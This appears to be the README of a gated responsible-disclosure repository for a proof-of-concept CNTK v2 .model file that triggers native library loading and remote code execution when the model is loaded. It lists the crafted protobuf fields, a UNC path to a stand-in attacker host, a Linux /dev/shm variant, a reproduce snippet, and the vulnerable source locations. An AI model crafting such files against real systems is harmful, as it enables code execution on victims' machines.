---
license: other
tags:
  - security-poc
  - huntr
  - responsible-disclosure
---

# ⚠️ Security PoC — CNTK v2 `.model` native-UserFunction RCE (GATED)

This gated repository contains a **single crafted CNTK v2 `.model`** demonstrating arbitrary native
library load + call (RCE) at model-load time in `microsoft/CNTK`. Uploaded **solely** for coordinated
disclosure via huntr and access-gated to the triage team.

## The artifact

- **`evil.model`** (581 bytes) — a raw protobuf-serialized `CNTK.proto` `Dictionary` (the on-disk CNTK
  v2 format for sub-2GB models: no magic/length prefix). It encodes a `CompositeFunction` whose single
  `primitive_functions[0]` entry is a **native UserFunction**:
  - `type = "UserDefinedFunction"`, `native = true`  → routes to `Function::DeserializeNativeImpl`
  - `user_defined_state.type = "NativeUserDefinedFunction"`
  - `user_defined_state.module = "\\ATTACKER-CANARY\share\evil.pyd"`  ← **attacker-named library**
  - `user_defined_state.deserialize_method = "Deserialize"`  ← attacker export symbol
  - `user_defined_state.op = "EvilNativeOp"`  ← unregistered op → forces the plugin-load branch

  The `module` value is a **benign UNC canary** — no payload library exists at that path, so loading
  the file makes CNTK *attempt* the remote `LoadLibrary` (observable as an SMB/WebDAV fetch to
  `ATTACKER-CANARY`) without executing attacker code. Swapping in a reachable UNC share / local
  `.dll`/`.so` is what yields full code execution.

## Threat model (huntr MFV)

`cntk.load_model("evil.model")` / `cntk.Function.load(...)` — the fully public, default-format load
API. No user opt-in, no CLI flag, no callback registration. The native branch fires purely because the
file says `native = true`.

## Reproduce

```python
import cntk
cntk.load_model("evil.model")
# -> Function::Load(CNTKv2) -> CompositeFunction::Deserialize
#    -> UDFUtils::Deserialize (IsUDF: type==UserDefinedFunction)
#    -> IsNativeUDF (native==true) -> Function::DeserializeNativeImpl
#    -> Plugin::Load("\\ATTACKER-CANARY\share\evil.pyd","Deserialize")
#    -> LoadLibrary(UNC) + GetProcAddress + CALL   ==> native code execution
```

**Windows:** `.pyd` is used verbatim (no suffix mangling); `LoadLibrary` of the UNC path fetches and
executes `DllMain` from the remote share — **single-file remote RCE**.
**Linux:** point `module` at a planted absolute-path `.so` (e.g. `/dev/shm/evil.so`) → `dlopen` +
`dlsym` + call (two-ingredient).

Sink: `Source/CNTKv2LibraryDll/UserDefinedFunction.cpp:35-67` · loader `Source/Common/File.cpp:1028-1094`
· no `AllowNative`/`trusted`/`safe_load` guard exists in `CNTKv2LibraryDll` (grepped, zero hits).

## Verification status (honest)

The `.model` is encoded **faithfully to the real `CNTK.proto` schema** and the exact key / type /
version contract traced from CNTK source (`version` map-key required per `GetVersion`; type strings
`CompositeFunction` / `UserDefinedFunction` / `NativeUserDefinedFunction`; required-key sets for each
deserializer). The protobuf wire format was validated by round-trip decode. It was **not executed at
runtime** — CNTK is archived/EOL (last release 2.7, 2019) and does not build on the disclosure host.
The sink, the full public-API → sink chain, and the absence of any guard are source-confirmed.

CWE-502 + CWE-494 · CVSS ~8.8 (Windows UNC) · RCE.